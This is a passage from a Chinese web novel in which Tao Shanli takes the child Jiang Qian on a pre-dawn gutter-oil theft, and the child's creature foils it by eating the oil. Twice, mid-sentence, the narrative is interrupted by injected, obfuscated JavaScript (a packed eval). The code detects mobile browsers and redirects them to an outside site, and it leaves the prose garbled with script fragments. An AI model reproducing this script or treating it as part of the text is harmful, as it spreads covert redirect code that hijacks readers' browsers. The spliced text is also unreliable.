王大婶听见陶善理的声音,又施施然坐下,“小兔崽子吃啥了急成这样。” 当然是那该死的炸鸡! 陶善理欲哭无泪,两人隔着门板一起痛骂下午的炸鸡。 “对不起啊陶阿姨,我没想到炸鸡吃了居然拉肚子……” 陶善理安慰道,“不不不炸鸡本身是没问题的,都怪那黑心商家,天杀的,你给老娘等着……” 肚子好痛。 “对不起啊陶阿姨……”姜茜还在愧疚。 陶善理尴尬道,“那啥小茜啊,这地方太有味道了,咱能出去说不?” 她俩还在公共厕所呢! 经历有味道的半小时苦战后,陶善理和姜茜及其虚弱地走出公厕,陶善理教了一块钱公厕费。 王大婶笑话她俩,“哎哟喂,吃了啥啊你这是。” “炸鸡……” “垃圾食品,怪不得嘛,”王大婶啧啧两声,“都说了少吃点垃圾食品——还把娃儿折腾得不轻啊。” 姜茜弱弱道,“不是的阿姨,是我……” 是我非要吃炸鸡的…… 陶善理从善如流地接过话茬,“是啊,垃圾食品嘛,我嘴馋嘛,都是商家的错。” “下次吃炖鸡嘛,炖的有营养些。”王大婶乐呵呵道。 “那哪里买好吃的活鸡啊,”陶善理虚心请教,“最好是那种土鸡。” 王大婶得意道,“那你可问对人了,土鸡那可不好买,尤其是正宗五谷杂粮喂出来的土鸡——现在市面上都是卖的啥子白羽鸡。十多天就出栏,那个哪里好吃哦。我老家有人养这个土鸡,正宗粮食喂大的。你要的话。下次找我就是了。” 陶善理和王大婶约好,下次王大婶老家人卖土鸡,一定给她打电话。 小区门口还有药店,陶善理顺路买了点肠炎宁片,借了点热水和姜茜一起把药吃了。 吃了药后,不知道是不是心理作用,胃里好多了。 姜茜牵着她的手,两个人一起走回家。 家里,陶翠莲正躺在沙发上,桌子上还有她喝剩的热水。陶翠莲虚虚一指热水,“喏,喝点热水……杀千刀的生儿子莫得□□的黑心商家,敢耍老娘。” 陶善理拿出肠炎宁片,在她面前晃了晃,“买了药。” 陶翠莲摊手,“给我吧。” “刚刚是谁说进厕所十分钟就好的。”陶善理冷笑,开始秋后算账。 陶翠莲理直气壮,“这怪得了我不?都怪黑心商家。” 陶善理把药给她,“行了,一片药两块钱,记得转我。” 陶翠莲通捶胸顿足,“你也是黑心商家。” 不过她也没打算真转钱就是了。陶翠莲自觉当“老赖”。 惊心动魄的一晚上后,众人终于准备休息了,牙刷和毛巾都是今天现买的,一顿收拾后准备睡了。 姜茜悄悄跑到沙发上躺好,陶善理习惯地把她扛起来放回床上,今天还是她睡沙发。 为了让姜茜安心,陶善理对姜茜说,“过几天我把杂物间收拾收拾出来装修一下给你,现在,你先睡着床,成不?” 宋丽总是说她和弟弟都是姐弟,所以两个人上下床将就一下就行。 以前年纪还小无所谓,后来随着年龄的增大,姜茜也意识到这不对,但是宋丽说家里没多的房间了,让她多忍忍。 听完陶善理的话,姜茜不由自主地开始想象自己的房间——自己的,姜茜没忍住动作小小地点头。 小孩儿在被窝里只露出一个圆圆脑袋,刚洗过的脸颊软软的,萌萌的,陶翠莲忍不住俯身在她脑门上亲了超大一口。 “晚安,我的怪孙孙。”陶翠莲乐呵呵道。 “晚安,姥姥。” 接着,陶翠莲盯着陶善理,陶善理在陶翠莲的目光下硬着头皮俯身亲了一下姜茜,“晚安,小茜。” “晚安,陶阿姨。” 大概是炸鸡事件给了姜茜勇气,她对陶翠莲说,“我这周可不可以不去上学?” 陶翠莲当啥事儿呢,她大手一挥,“当然可以,陶善理逃课去当杀马特,我都没舍得揍她。” 说到陶善理的黑历史,陶善理不跟吭声了。 两人走出房间,给姜茜关了灯和房门。 今夜三人一夜好梦——哦,还有一只小怪物。 它也做了好梦。 姜茜请假在家的日子里,陶翠莲和陶善理都停了工作——不对,陶善理是停了兼职,陶翠莲停了算命但还在卖药。 但是偶尔,陶善理会接到很多电话。 “小陶啊,我家灯泡不亮了,你给我们换个呗。” 陶善理就会立刻拿上一个深蓝色的、上面还有油漆的工具箱出门,姜茜本来在家里发呆,陶善理一个提溜把她戴上。 姜茜乖乖地跟上。 地方不远,就在同小区的隔壁楼。 房间里很暗,估计是灯泡坏了的缘故,门大开着,似乎正在等待陶善理。 打电话是一对头发花白的老人,两人似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153946|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎对陶善理很熟悉。 姜茜好奇地悄悄打量。 老太太瞧见姜茜,好奇道,“哎哟,小陶啊,这是哪来这么浆糊的娃娃哦。” “我朋友的女儿,她一家人都不在了,我就养了,以后啊,这是我女儿。”陶善理踩着凳子上去,把天花板的灯泡拧下来,熟练地换上了另一个。 老头儿心疼道,“哎哟喂,苦命的娃娃,爷爷给你拿糖吃。” 老太太从散发着木头味儿的柜子里拿出米花糖,拿了一大块给姜茜。 姜茜没见过这玩意儿,她接过后小口小口吃起来,很甜很黏牙,姜茜吃得不亦乐乎。 就是吃完后牙齿上海黏黏糊糊的,姜茜伸出舌头在嘴巴里面舔来舔去的,想舔下来。 陶善理换完灯泡下来道,“行了,舔不干净的,回去刷个牙就好。” 这玩意儿老太太本来是买给孙女儿的,但是小孩儿们不爱吃,她和老伴儿有三高,又吃不得甜的,没想到姜茜爱吃。 老太太干脆一整个给了姜茜。 换完灯泡,老太太问陶善理道,“多少钱啊。” “六块钱,门口五金店买的灯泡,你可以去问问。” “我还信不过你。”老太太拿出一个布包翻开颤巍巍数了六张一块钱递给陶善理。 陶善理看也没看就塞进兜里,“行了,那没事儿我就走了啊。” “留下来吃个饭啊小陶。” 陶善理笑道,“不啦,我妈还在家等我呢。” 跟着陶善理走出居民楼后,姜茜问陶善理,“你是免费帮人修东西吗?” “差不多吧。”陶善理说。 接下来两天,陶善理接到很多这种上门维修的电话,每次一接到,陶善理就带着姜茜出门。那些人大多都是老太太和老爷爷,大家都会一见面就给姜茜塞零食水果什么的。 两天下来,全小区都知道陶善理家有了个小女儿。 姜茜害羞地对陶翠莲道,“陶阿姨是个好人。我下次写作文可以写她吗?” 陶翠莲拍拍她的脑袋,语重心长道,“娃子啊,人不是只有好人和坏人。” 星期五凌晨四点钟,姜茜起来上厕所,就看见陶善理穿戴整齐准备出门,姜茜立刻咚咚咚跑去抱住她的腿,“我和你一起去。” 她以为陶善理又要去修什么东西。 她喜欢这样四处跑来跑去,和不同的人聊聊天什么的。 陶善理愣住了,“行啊,那你收拾快点。” 姜茜点头,她跑进洗手间迅速洗漱,岁弥凑过来,姜茜对它严肃道,“你待在家里,姥姥一个人在家里,你要保护她。” 岁弥点点头。 陶善理打着哈欠站在门口等姜茜,姜茜穿戴好兴奋地站在她面前,“我好啦!” 陶善理嘀咕道,“出个门这么兴奋。” 姜茜牵着陶善理一步一步……走出了小区? 诶,今天要帮助的邻居不在小区里吗? 接着,陶善理带她……上了面包车? 陶善理给她系好安全带,叮嘱道,“等会儿乖乖在车上坐好啊。” “我们去哪里啊陶阿姨。”姜茜小心翼翼问道。 陶善理打着哈欠道,“偷地沟油。” 嗯,嗯?偷地沟油? 8. 怪物(8) 陶善理突然忘记卸掉面包车的车牌照了,她下车悄悄地撬掉车牌,然后上车。 天还是黑的,陶善理有些犯困,她拿出手机放音乐,姜茜在心里酝酿半天,大声道,“我……我觉得偷……地沟油不对!我们老师说地沟油上餐桌容易导致癌症!” 可惜姜茜自认为的“大声”淹没在了陶善理的音乐声里,陶善理只听见姜茜叽里呱啦一堆,她开着面包车行驶在清冷的街道上,敷衍道,“啊?你说什么?” 姜茜死死攥着安全带,却没有勇气再说第二遍了。 ——宋丽他们是没有耐心听她说第二遍的。如果第一次的话语没有被听见,她往往不敢说第二次。 但是道德与法治的课堂上,老师说地沟油是很坏很坏的东西,这个东西上了餐桌会导致人拉肚子、严重还会有癌症。 姜茜就是觉得陶善理做错了。 姜茜张了张嘴,还想再说一次,但是她一想到自己即将说出口的内容就焦躁不安,就像哑巴了一样。 陶善理开到一个小巷子,几个人早就等在那里了,其中有女有男,几人看见陶善理的车子到了,冲上去打开后备厢,拿出老旧的蓝色塑料桶。 光着膀子的男人瞅见副驾驶的小孩儿,叼着烟道,“陶姐,怎么还带小孩儿过来?” “陶姐,都说你养小孩儿了,我还以为谣言呢。” 抽烟的女人在屁兜里掏了掏,只掏出压扁的烟盒和几张皱巴巴的纸笔。 她掐了烟,走近姜茜, “小孩儿,要钱不要?”女人笑着摇了摇手里的纸币,“叫声姐姐好,给你两块钱买辣条吃。” “滚蛋,抠门玩意儿,”另一个瘦成麻秆一样的男人也走近,“哥哥给你五块钱,你叫我一声哥哥怎么样?” 姜茜知道这些都是和陶善理一起偷地沟油的坏人,她在纸币面前坚定地摇了摇头,死死闭着嘴,不想和他们交流。 “陶姐,是个哑巴?” 陶善理头也不抬,“不想理你!” 另一个人低声道,“两个缺德玩意儿,正事还做不做了?” 陶善理走过去,呵斥两人道,“逗小孩儿下次,别捣蛋。” 两人立刻老实了,姜茜看见几人戴上口罩后,在一家火锅店的后厨的墙角熟练地撬开一块水泥板。 那里藏着一个半埋在地下的隔油池。 陶善理的手指摸到水泥板边缘,冰凉粗糙。深吸一口气,猛地发力。 “吱——嘎——” 打开后,混着酸腐、反胃、残羹剩饭的气味儿直冲天灵盖,让人忍不住干呕。几人不约而同地屏住呼吸。 立刻有人拿着长柄勺子轻轻一挑,挑出一大勺粘稠的废油被他挑起来放进蓝色塑料桶里。 那是整池废料里最 “值钱” 的一层。 油很稠,挂在勺边拉丝,往下滴落时慢得黏人。它的长相和味道都令人作呕,姜茜远远地看着都忍不住干呕。 几人一起动作,动作极快,手腕都很稳,没多会儿,就装满了两桶。另外一人在巷口放风。 放风的人那人突然跑过来着急忙慌道,“巡逻的来了!走了!” 几人立刻把油桶抬上面包车,收拾完,齐齐上了面包车,陶善理立刻发动车子。 胖男人抱怨道,“手都发酸了,这死玩意儿死沉死沉的。” 陶善理笑道,“今天这么顺利你就偷着乐吧。” 女人又点燃了一根烟,心情也很是不错,“就是,今天那火锅店的店员也没发现。” “这个点儿起来的不是人啊。”男人吐槽道。 “你说我们都不是人咯?”抽烟的女人挑眉。 “不……我不是这个意思。” 这回陶善理没放音乐,姜茜终于鼓起勇气再次道,“陶阿姨,偷地沟油不好。我们上次吃炸鸡拉肚子,说不定就是用的这种油。” 陶善理挑眉,“哟,你懂得还挺多,我心里有数,小孩儿别管那么多。” 得到了陶善理的敷衍回答后,姜茜就不吭声了。 这些后座的人总算知道为什么小孩儿不理他们了——小孩儿觉得他们是坏人了。 不过,大家都觉得是小孩儿太小的原因,等小孩儿长大了就知道钱,才是重要的。 其他什么底线都是浮云。 跑了几家,几桶地沟油装满了。陶善理轻车熟路地来到收油佬处。那是一间破旧的铁皮屋子,像是老旧的厂房改造成的屋子。 抽烟女人调侃道,“陶姐还是不肯卖给餐馆老板啊。” “陶姐心里有杆秤呢。”胖男人一唱一和。 ——他们趁着陶善理下车专门说给姜茜听的。 “是啊,明明地沟油卖给餐馆老板钱更多,陶姐非不卖,非说这个收油佬能保证这些地沟油不上餐桌,低价卖给他。” “就是就是,我们陶姐心善的嘞,这些地沟油啊,大概会变成燃料什么的吧。” 姜茜默不作声,她充耳不闻几人的谈话。 几人没得到回应也不热脸贴冷屁股了,下车准备帮陶善理搬油桶了。 陶善理谈好价钱后,她顺手打开面包车的后备厢,直觉感觉不对劲,她“啪”地一声关掉后备厢,皮笑肉不笑道,“等会,你们帮我办个事儿。” “干啥啊陶姐?”几人莫名其妙道。 “走远点儿放风,我处理点儿事儿。” 陶善理这话莫名其妙的,但几人还是照做了。 几人走远后,陶善理打开后备厢,她单手很轻易地就把塑料桶拎起来了——它们是空桶了。 就像是本来就是空桶一样。 只有一种可能——是岁弥搞的鬼,但岁弥听谁的呢? 一股无名火直冲陶善理的脑门,她用力地关上后备厢。 姜茜也听见了这声用力的关门声,她忐忑地坐在副驾驶上,等到陶善理过来质问她。 陶善理过来的时候,脸上一丝表情都没有,姜茜不敢看她,低着头揉衣角,陶善理开口道,“你让岁弥做的?” 姜茜动作幅度小小地点头,她的余光瞥见陶善理似乎扬起手臂,几乎下意识地抬手护住脑袋。 陶善理深呼吸一口气,告诉自己不能生气,生气容易乳腺结节,“怎么做的?” “就……就让岁弥……吃进去就行。” “它现在能吐出来不?” “岁弥吃进去的东西是吐不出来的……” “老娘真是上辈子欠你的。”陶善理烦躁地抹了把脸。 她很快恢复表情,走到那几人面前,尽量语气正常道,“这批地沟油我卖到其他地方去,你们先回家去吧。我还有点事。” “啊?”几人一头雾水,但是本着对陶善理的信任,几人分到意料之中的钱后就离开了。 “你送送我们呗,陶姐。”抽烟女人数了数钱后就揣进兜里了。 胖男人也点头,“这儿离我家还挺远。” “对不住了各位,我还有事儿,下次一定。”陶善理疲惫道。 “什么事儿?” “揍孩子。” “啊?” —— “为什么干这事儿?”陶善理用力扭转方向盘,打了个急拐弯。 姜茜低着头不说话。 “你说话啊,”陶善理疑惑道,“我也没凶你啊。” 她很克制自己的语气了,这回她一分钱没赚到,还为了掩盖这事儿,倒贴了钱进去,倒霉催的。 姜茜缩了缩脖子还是没说话。 这幅样子和宋丽一模一样,做错了事儿就不吭声,三棒子打不出一个屁来,这也是当初陶善理和宋丽闹掰的原因之一。 “你简直和你妈一个样。”陶善理叹气道。 谁曾想,这话像是打开了姜茜的泪腺一样,姜茜突然就爆哭起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153947|196491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陶善理才想起来这孩子刚没了妈,自己这话不是戳人心窝呢,她有些懊悔,干巴巴道,“这事儿就这么算了,下回可不许了。” 姜茜还在哭。 “好了啊,我还没哭呢,你别哭了。” ——陶善理不知道的是,她那句“和你妈一个样”让姜茜感到无比的痛恨,姜茜最讨厌和他们有一丝丝的相似。 —— 陶善理拎着姜茜回到家,客厅里灯火通明,是陶翠莲半夜渴得慌,保温壶里没热水了,起来烧水呢。陶翠莲瞅见眼底乌青的陶善理和眼眶红肿的姜茜,吓了一跳,“做啥子去了?” 陶善理烦躁道,“你问她。” 姜茜抽噎道,“姥姥对不起……我……我让岁弥偷走了陶阿姨的地沟油。” 陶善理无奈道,“我还给娟子和刚子他们拿钱了,就为了给她擦屁股,你这几天带她吧,我是不想看见她了。” 听见陶善理这语气,姜茜更无措了,她又想哭了。 陶翠莲连忙抱住她,“哎哟喂,我的乖乖,告诉姥姥,为什么让岁弥吃了陶善理的地沟油啊。” “偷……偷地沟油是不对的……我就……就想了很多,岁弥就……就知道我想做什么,它……就一口气全吃了……”姜茜努力克制住哭意。 陶翠莲瞪了一下陶善理,“你也是,你出去偷地沟油还带孩子干嘛,当家长的不给孩子做好榜样,孩子长大以后还能当好人吗?” 陶善理嘀嘀咕咕,“当好人只会被欺负……” 训完陶善理,陶翠莲又哄姜茜,“你做得对!偷地沟油就是违法的!让陶善理涨涨教训!” 陶善理觉得很委屈,“那我下次要是又做了什么她觉得不对的事情,她又一声不吭给我搅合了怎么办?我讨厌别人自作主张!妈,你还护着她” 陶翠莲也觉得陶善理说得对,她又叮嘱,“小茜啊,下次做事情之前呢,和大人商量商量好不?” 姜茜发现了,陶善理不是好人,她觉得自己做得没错,但她还是乖乖点头。 陶善理一言不发地抱着毯子倒在沙发上补觉了,喊道,“妈!关灯!困死我了,我睡会儿。” 姜茜还想说什么,被陶翠莲哄着去睡觉了。 天光大亮的时候,陶善理才醒。陶翠莲知道她没赚到钱心里难受,难得没喊陶善理起来做饭。 陶善理睡了个够,在饭菜香里醒来,醒来就看见岁弥和姜茜端着饭菜上了桌。 姜茜凑上来殷勤道,“陶阿姨你醒啦,岁弥今天做了红烧肉,我去给你接刷牙的热水。” 说完,不等陶善理回复,姜茜就跑去洗手间给她接水。 陶善理只是淡淡道,“谢谢。” 白天的时候,陶善理姜茜收拾房间,却不怎么和姜茜说话,姜茜几次搭话不成,就找陶翠莲,陶翠莲也乐得和小孩儿说话,瞅见姜茜垂头丧气的模样。 陶翠莲笑呵呵地安慰她,“没事儿,善理就是闹别扭了,心里不痛快,过几天自己就好了。” 真的么? 陶善理的电话响了,她接通,是姜茜的朋友。 对面问现在姜茜的地址,陶善理叹了口气,说了自己的地址,对面说下午来找姜茜。 陶善理想着姜茜也一周没去学校了,小孩儿的朋友担心呢,便同意了。 她转头看向一脸殷勤的姜茜,没好气道,“你朋友找你。” “是不是叫周梓言和赵熙?”姜茜问。 “不知道!”陶善理挥手,“滚去找你姥姥——屋子里灰尘大。” 这房间好久没收拾了,里面的杂物一动,就是一大波灰尘。 姜茜讨好道,“陶阿姨,我能帮忙的!灰尘大岁弥也可以帮忙!它不怕灰尘!” 陶善理看着跃跃欲试的岁弥,就想到自己被吃了的地沟油——钱啊,都是钱啊。 她断然拒绝道,“不用了。”